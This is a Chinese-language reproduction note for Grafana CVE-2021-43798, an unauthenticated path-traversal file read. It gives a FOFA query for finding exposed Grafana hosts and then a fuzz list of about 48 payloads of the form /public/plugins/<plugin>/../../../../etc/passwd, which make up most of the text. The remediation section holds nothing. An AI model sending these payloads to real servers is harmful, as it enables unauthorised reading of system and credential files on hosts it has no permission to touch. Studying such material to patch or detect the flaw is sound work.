漏洞原理：
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
CVE编号：
CVE-2021-43798
fofa语法：
app="Grafana"
影响范围：
Grafana v8.2.6
漏洞复现：
因为不知道Grafana安装了什么插件需要模糊测试：
/
public
/plugins/alertGroups/../../../../../../../../etc/passwd
/
public
/plugins/alertlist/../../../../../../../../etc/passwd
/
public
/plugins/alertmanager/../../../../../../../../etc/passwd
/
public
/plugins/annolist/../../../../../../../../etc/passwd
/
public
/plugins/barchart/../../../../../../../../etc/passwd
/
public
/plugins/bargauge/../../../../../../../../etc/passwd
/
public
/plugins/canvas/../../../../../../../../etc/passwd
/
public
/plugins/cloudwatch/../../../../../../../../etc/passwd
/
public
/plugins/dashboard/../../../../../../../../etc/passwd
/
public
/plugins/dashlist/../../../../../../../../etc/passwd
/
public
/plugins/debug/../../../../../../../../etc/passwd
/
public
/plugins/elasticsearch/../../../../../../../../etc/passwd
/
public
/plugins/gauge/../../../../../../../../etc/passwd
/
public
/plugins/geomap/../../../../../../../../etc/passwd
/
public
/plugins/gettingstarted/../../../../../../../../etc/passwd
/
public
/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/
public
/plugins/grafana/../../../../../../../../etc/passwd
/
public
/plugins/graph/../../../../../../../../etc/passwd
/
public
/plugins/graphite/../../../../../../../../etc/passwd
/
public
/plugins/heatmap/../../../../../../../../etc/passwd
/
public
/plugins/histogram/../../../../../../../../etc/passwd
/
public
/plugins/influxdb/../../../../../../../../etc/passwd
/
public
/plugins/jaeger/../../../../../../../../etc/passwd
/
public
/plugins/live/../../../../../../../../etc/passwd
/
public
/plugins/logs/../../../../../../../../etc/passwd
/
public
/plugins/loki/../../../../../../../../etc/passwd
/
public
/plugins/mixed/../../../../../../../../etc/passwd
/
public
/plugins/mssql/../../../../../../../../etc/passwd
/
public
/plugins/mysql/../../../../../../../../etc/passwd
/
public
/plugins/news/../../../../../../../../etc/passwd
/
public
/plugins/nodeGraph/../../../../../../../../etc/passwd
/
public
/plugins/opentsdb/../../../../../../../../etc/passwd
/
public
/plugins/piechart/../../../../../../../../etc/passwd
/
public
/plugins/pluginlist/../../../../../../../../etc/passwd
/
public
/plugins/postgres/../../../../../../../../etc/passwd
/
public
/plugins/prometheus/../../../../../../../../etc/passwd
/
public
/plugins/stat/../../../../../../../../etc/passwd
/
public
/plugins/state-timeline/../../../../../../../../etc/passwd
/
public
/plugins/status-history/../../../../../../../../etc/passwd
/
public
/plugins/
table
-old/../../../../../../../../etc/passwd
/
public
/plugins/
table
/../../../../../../../../etc/passwd
/
public
/plugins/tempo/../../../../../../../../etc/passwd
/
public
/plugins/testdata/../../../../../../../../etc/passwd
/
public
/plugins/text/../../../../../../../../etc/passwd
/
public
/plugins/timeseries/../../../../../../../../etc/passwd
/
public
/plugins/welcome/../../../../../../../../etc/passwd
/
public
/plugins/xychart/../../../../../../../../etc/passwd
/
public
/plugins/zipkin/../../../../../../../../etc/passwd
修复建议：
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